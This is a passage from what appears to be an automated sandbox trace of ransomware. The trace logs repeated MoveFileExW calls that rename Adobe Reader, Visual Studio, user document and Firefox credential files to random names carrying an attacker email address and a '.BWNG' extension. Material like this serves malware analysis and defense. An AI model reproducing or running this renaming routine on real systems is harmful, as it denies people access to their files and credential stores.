10.0\\reader\\idtemplates\\suo\\[billwong73@yahoo.com].bvrjfjs7-kn4pimez.bwng"), dwFlags=0x1) returned 1 [0034.296] GetTickCount () returned 0x1153c65 [0034.296] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17624837166) returned 1 [0034.296] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\[billwong73@yahoo.com].cArMdsTz-aW56aapb.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\[billwong73@yahoo.com].carmdstz-aw56aapb.bwng"), dwFlags=0x1) returned 1 [0034.297] GetTickCount () returned 0x1153c65 [0034.297] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17624933243) returned 1 [0034.297] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\[billwong73@yahoo.com].MCA6wKhE-WkMBT5DF.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\[billwong73@yahoo.com].mca6wkhe-wkmbt5df.bwng"), dwFlags=0x1) returned 1 [0034.298] GetTickCount () returned 0x1153c65 [0034.298] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17625031487) returned 1 [0034.298] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\[billwong73@yahoo.com].Hl32PYyj-59v2g2xY.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\[billwong73@yahoo.com].hl32pyyj-59v2g2xy.bwng"), dwFlags=0x1) returned 1 [0034.308] GetTickCount () returned 0x1153c75 [0034.308] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17626032199) returned 1 [0034.308] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\[billwong73@yahoo.com].4lHpi0zX-fabgxWMU.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\[billwong73@yahoo.com].4lhpi0zx-fabgxwmu.bwng"), dwFlags=0x1) returned 1 [0034.309] GetTickCount () returned 0x1153c75 [0034.309] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17626114139) returned 1 [0034.309] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\[billwong73@yahoo.com].6RUiNF6R-qIPzAvbw.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\[billwong73@yahoo.com].6ruinf6r-qipzavbw.bwng"), dwFlags=0x1) returned 1 [0034.385] GetTickCount () returned 0x1153cc3 [0034.385] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17633703499) returned 1 [0034.385] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\[billwong73@yahoo.com].ZZyrXyyT-8PYVsVbL.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\[billwong73@yahoo.com].zzyrxyyt-8pyvsvbl.bwng"), dwFlags=0x1) returned 1 [0034.418] GetTickCount () returned 0x1153ce2 [0034.418] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17637053325) returned 1 [0034.418] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\[billwong73@yahoo.com].m972WmOV-TwTIEmDM.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\[billwong73@yahoo.com].m972wmov-twtiemdm.bwng"), dwFlags=0x1) returned 1 [0034.436] GetTickCount () returned 0x1153cf1 [0034.436] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17638792207) returned 1 [0034.436] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\[billwong73@yahoo.com].h8pIslQn-GRr3ijsi.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\[billwong73@yahoo.com].h8pislqn-grr3ijsi.bwng"), dwFlags=0x1) returned 1 [0034.436] GetTickCount () returned 0x1153cf1 [0034.436] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17638863786) returned 1 [0034.437] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\[billwong73@yahoo.com].ZeR0wPjc-717ZPALe.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\[billwong73@yahoo.com].zer0wpjc-717zpale.bwng"), dwFlags=0x1) returned 1 [0034.437] GetTickCount () returned 0x1153cf1 [0034.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17638931088) returned 1 [0034.437] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\secmod.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\[billwong73@yahoo.com].CfEyAiic-8zQuKjft.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\[billwong73@yahoo.com].cfeyaiic-8zqukjft.bwng"), dwFlags=0x1) returned 1 [0034.438] GetTickCount () returned 0x1153cf1 [0034.438] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17639008615) returned 1 [0034.438] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\[billwong73@yahoo.com].U9xHl9uq-TvG7o6hX.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\[billwong73@yahoo.com].u9xhl9uq-tvg7o6hx.bwng"), dwFlags=0x1) returned 1 [0034.456] GetTickCount () returned 0x1153d01 [0034.456] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17640845457) returned 1 [0034.456] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\[billwong73@yahoo.com].4bY3VaiA-TckjKlfh.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\[billwong73@yahoo.com].4by3vaia-tckjklfh.bwng"), dwFlags=0x1) returned 1 [0034.457] GetTickCount () returned 0x1153d01 [0034.457] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17640940103) returned 1 [0034.457] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\[billwong73@yahoo.com].qtMfVJMu-h7cfdE6r.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\[billwong73@yahoo.com].qtmfvjmu-h7cfde6r.bwng"), dwFlags=0x1) returned 1 [0034.458] GetTickCount () returned 0x1153d01 [0034.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17641018176) returned 1 [0034.458] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\[billwong73@yahoo.com].dwvaDDMl-r22gXwap.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\[billwong73@yahoo.com].dwvaddml-r22gxwap.bwng"), dwFlags=0x1) returned 1 [0034.478] GetTickCount () returned 0x1153d20 [0034.478] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17642999451) returned 1 [0034.478] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\[billwong73@yahoo.com].QYg4SRtG-hfNjyCbs.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\[billwong73@yahoo.com].qyg4srtg-hfnjycbs.bwng"), dwFlags=0x1) returned 1 [0034.479] GetTickCount () returned 0x1153d20 [0034.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17643142405) returned 1 [0034.479] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\[billwong73@yahoo.com].uJYbcyam-9vFX5j36.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\[billwong73@yahoo.com].ujybcyam-9vfx5j36.bwng"), dwFlags=0x1) returned 1 [0034.480] GetTickCount () returned 0x1153d20 [0034.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17643212600) returned 1 [0034.480] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\[billwong73@yahoo.com].dcSnkKZS-Nf9QGigE.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\[billwong73@yahoo.com].dcsnkkzs-nf9qgige.bwng"), dwFlags=0x1) returned 1 [0034.481] GetTickCount () returned 0x1153d20 [0034.481] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17643287105) returned 1 [0034.481] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\[billwong73@yahoo.com].57wNZlSD-EuswduJe.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\[billwong73@yahoo.com].57wnzlsd-euswduje.bwng"), dwFlags=0x1) returned 1 [0034.481] GetTickCount () returned 0x1153d20 [0034.481] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17643355284) returned 1 [0034.481] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\[billwong73@yahoo.com].f2JUdh9C-envEH1JG.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\[billwong73@yahoo.com].f2judh9c-enveh1jg.bwng"), dwFlags=0x1) returned 1 [0034.482] GetTickCount () returned 0x1153d20 [0034.482] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17643431507) returned 1 [0034.482] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\[billwong73@yahoo.com].OnwANM5V-F3nnY89Z.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\[billwong73@yahoo.com].onwanm5v-f3nny89z.bwng"), dwFlags=0x1) returned 1 [0034.483] GetTickCount () returned 0x1153d20 [0034.483] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17643492275) returned 1 [0034.483] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\[billwong73@yahoo.com].AHQicU1X-HOi1kifs.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\[billwong73@yahoo.com].ahqicu1x-hoi1kifs.bwng"), dwFlags=0x1) returned 1 [0034.483] GetTickCount () returned 0x1153d20 [0034.483] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17643559710) returned 1 [0034.483] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\[billwong73@yahoo.com].BFI3wiol-YZOU7ydZ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\[billwong73@yahoo.com].bfi3wiol-yzou7ydz.bwng"), dwFlags=0x1) returned 1 [0034.484] GetTickCount () returned 0x1153d20 [0034.484] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17643635068) returned 1 [0034.484] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\[billwong73@yahoo.com].g4guJYyj-RZVInMLA.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\[billwong73@yahoo.com].g4gujyyj-rzvinmla.bwng"), dwFlags=0x1) returned 1 [0034.485] GetTickCount () returned 0x1153d20 [0034.485] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17643696463) returned 1 [0034.485] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\[billwong73@yahoo.com].wlWYfoKq-mhWWNfsg.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\[billwong73@yahoo.com].wlwyfokq-mhwwnfsg.bwng"), dwFlags=0x1) returned 1 [0034.485] GetTickCount () returned 0x1153d20 [0034.485] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17643766374) returned 1 [0034.486] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\[billwong73@yahoo.com].OuaFtJF9-H9OvA1Zx.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\[billwong73@yahoo.com].ouaftjf9-h9ova1zx.bwng"), dwFlags=0x1) returned 1 [0034.486] GetTickCount () returned 0x1153d20 [0034.486] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17643828946) returned 1 [0034.486] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\[billwong73@yahoo.com].dCBO03nX-tpkWOTEj.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\[billwong73@yahoo.com].dcbo03nx-tpkwotej.bwng"), dwFlags=0x1) returned 1 [0034.487] GetTickCount () returned 0x1153d20 [0034.487] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17643890040) returned 1 [0034.487] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\signons.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\signons.sqlite"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\[billwong73@yahoo.com].Zukbumz3-WMcVBcRw.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\[billwong73@yahoo.com].zukbumz3-wmcvbcrw.bwng"), dwFlags=0x1) returned 1 [0034.487] GetTickCount () returned 0x1153d20 [0034.487] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17643949383) returned 1 [0034.487] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\CodeFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\codefile.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\[billwong73@yahoo.com].bGnVLIUv-EihsYorf.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\[billwong73@yahoo.com].bgnvliuv-eihsyorf.bwng"), dwFlags=0x1) returned 1 [0034.488] GetTickCount () returned 0x1153d20 [0034.488] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17644015992) returned 1 [0034.488] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\textfile.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\[billwong73@yahoo.com].zKMWS7JF-hontYPqY.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\[billwong73@yahoo.com].zkmws7jf-hontypqy.bwng"), dwFlags=0x1) returned 1 [0034.489] GetTickCount () returned 0x1153d20 [0034.489] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17644077206) returned 1 [0034.489] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\[billwong73@yahoo.com].CaS4u7fw-rfJmCIVt.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\[billwong73@yahoo.com].cas4u7fw-rfjmcivt.bwng"), dwFlags=0x1) returned 1 [0034.489] GetTickCount () returned 0x1153d20 [0034.489] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17644144853) returned 1 [0034.489] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\[billwong73@yahoo.com].x0av7A7m-Efc0hJaT.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\[billwong73@yahoo.com].x0av7a7m-efc0hjat.bwng"), dwFlags=0x1) returned 1 [0034.490] GetTickCount () returned 0x1153d20 [0034.490] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17644203951) returned 1 [0034.490] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Defb0F5pup.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\defb0f5pup.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].MPE9TWIT-b2AbQYZ8.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].mpe9twit-b2abqyz8.bwng"), dwFlags=0x1) returned 1 [0035.277] GetTickCount () returned 0x115403c [0035.277] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=17722916059) returned 1 [0035.277] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\Explorer.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\explorer.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\[billwong73@yahoo.com].FF3QwSza-QXeRkyZT.BWNG" (normalized: "c:\\program files (x86)\\microsoft visual studio 